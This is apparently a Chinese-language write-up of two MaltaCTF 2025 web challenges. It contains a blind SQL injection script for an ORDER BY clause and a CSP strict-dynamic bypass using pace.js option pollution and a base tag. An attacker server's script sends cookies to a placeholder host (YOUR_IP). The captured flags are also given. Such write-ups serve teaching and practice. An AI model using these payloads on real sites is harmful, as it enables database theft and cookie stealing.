文章

MaltaCTF 2025 wp

Starboard

@app.route('/', methods=['GET'])
def index():
    order = request.args.get('order', 'DESC')
    if ';' in order or ',' in order:
        return jsonify({'error': 'bad char'})

    conn = get_conn()
    with conn.cursor(cursor_factory=RealDictCursor) as cur:
        cur.execute(f'SELECT * FROM posts ORDER BY stars {order} LIMIT 50')
        results = cur.fetchall()
    conn.close()
    
    return render_template('index.html', posts=results, order=order)

sql注入

* (SELECT CAST(flag AS INT) FROM flag)

出错,说明似乎能注,但是报错信息不返回

只能盲注了,正则盲注

?order=limit case when (select flag from flag) like 'm%' then 2 end --
import requests
import string
import time

URL = ""

CHARSET = string.ascii_lowercase + string.digits + "_-!@{}"

flag = "maltactf{"
position = len(flag) + 1

print("开始获取 flag...")
print(f"已知部分: {flag}")

while True:
    found_char_in_position = False
    for char in CHARSET:
        guess = (flag + char).replace('%', '\\\\%').replace('_', '\\\\_')
        payload = f"DESC limit case when (select flag from flag) like '{guess}%' then 2 end --"
        
        try:
            r = requests.get(URL, params={'order': payload}, timeout=10)

            if r.text.count('<li>') == 2:
                flag += char
                print(f"当前 Flag: {flag}")
                found_char_in_position = True
                
                if char == '}':
                    print("\\nFlag 获取完毕!")
                    found_char_in_position = "STOP"
                break
        
        except requests.exceptions.RequestException as e:
            print(f"请求时发生错误: {e}")
            time.sleep(1)
            
    if found_char_in_position == "STOP":
        break

    if not found_char_in_position:
        print("\\n无法找到更多字符")
        break

print(f"\\n最终 Flag: {flag}")

maltactf{and_many_more_bangers_to_be_seen}

fancy text generator

script-src 'sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=' 'strict-dynamic'; object-src 'none';

这个 csp 指定了 strict-dynamic,所以loader.js的信任可传递

其中loader.js如下

scripts = {
    "pace": "https://cdn.jsdelivr.net/npm/pace-js@latest/pace.min.js",
    "main": "/main.js",
}

function appendScript (src) {
    let script = document.createElement('script');
    script.src = src;
    document.head.appendChild(script);
};

for (let script in scripts) {
    appendScript(scripts[script]);
}

pace.js中的getFromDOM 函数查找带有 data-pace-options 属性的元素,将其内容作为json解析,可以污染,从而插入DOM

<div data-pace-options='{"className":"\"></div><img src=x onerror=\"alert(1)\"><div>"}'>

可以插入img但是无法运行js,因为不受信任

但是loader创建的main.js是可信的,而且相对路径,考虑用base标签来加载攻击机的js

攻击机运行如下代码

from flask import Flask, send_file , redirect
import os

app = Flask(__name__)

@app.after_request
def add_cors_headers(response):
    response.headers['Access-Control-Allow-Origin'] = '*'
    response.headers['Access-Control-Allow-Methods'] = 'GET'
    return response

@app.route('/loader.js')
def js_1():
    current_dir = os.path.dirname(os.path.abspath(__file__))
    loader_path = os.path.join(current_dir, 'loader.js')
    return send_file(loader_path, mimetype='application/javascript')

@app.route('/main.js')
def js_2():
    return """console.log(window.parent.document.cookie);fetch("https://YOUR_IP/?"+window.parent.document.cookie)
"""
@app.route('/redirect')
def redirect_to_target():
    target_url = """http://localhost:1337/?text=<div data-pace-options='{"className":"\\"></div><iframe srcdoc=\\"<html><head><base href=https://YOUR_IP></head><body><script integrity=sha256-1ltlTOtatSNq5nY%2BDSYtbldahmQSfsXkeBYmBH5i9dQ= crossorigin=anonymous src=https://YOUR_IP/loader.js></script><div id=contentBox>\\"></iframe><div></body></html>"}'>"""
    return redirect(target_url, code=302)
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=True)

原理是利用iframe加载可信loader.js(只验证sha256但是不验证来源),这样创建的main.js标签会从攻击机加载,然后用js获取父页面的cookies就行了

远程环境有点奇怪,所以不确定是提交哪个payload的作用(提交了很多次,包括那个target_url,变种target_url, 以及攻击机的/redirect路由,反正本地测试这些都行,不清楚远程那边怎么回事)

maltactf{oops_my_dependency_is_buggy_05b19465ce19db4e28ddb00bb19f101e}

许可协议:  CC BY 4.0